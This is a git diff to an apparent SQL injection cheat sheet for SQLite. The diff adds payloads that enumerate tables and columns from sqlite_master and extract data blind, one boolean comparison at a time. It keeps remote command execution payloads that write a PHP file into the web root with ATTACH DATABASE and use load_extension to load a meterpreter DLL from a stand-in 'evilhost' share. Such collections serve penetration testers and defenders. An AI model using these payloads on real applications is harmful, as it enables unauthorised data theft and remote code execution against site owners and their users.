diff --git a/SQL injection/SQLite Injection.md b/SQL injection/SQLite Injection.md index 6981711..06f88e6 100644 --- a/SQL injection/SQLite Injection.md +++ b/SQL injection/SQLite Injection.md @@ -1,14 +1,49 @@ -# SQLite +# SQLite Injection -##Remote Command Execution using SQLite command - Attach Database + +## Integer/String based - Extract table name +``` +SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' +``` +Use limit X+1 offset X, to extract all tables. + +## Integer/String based - Extract column name +``` +SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' +``` + +For a clean output +``` +SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' +``` + +## Boolean - Count number of tables +``` +and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table +``` + +## Boolean - Enumerating table name +``` +and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number +``` + +## Boolean - Extract info +``` +and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char') +``` + +## Remote Command Execution using SQLite command - Attach Database ``` ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’);-- ``` -##Remote Command Execution using SQLite command - Load_extension +## Remote Command Execution using SQLite command - Load_extension ``` UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- ``` -Note: By default this component is disabled \ No newline at end of file +Note: By default this component is disabled + +## Thanks to +[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf) \ No newline at end of file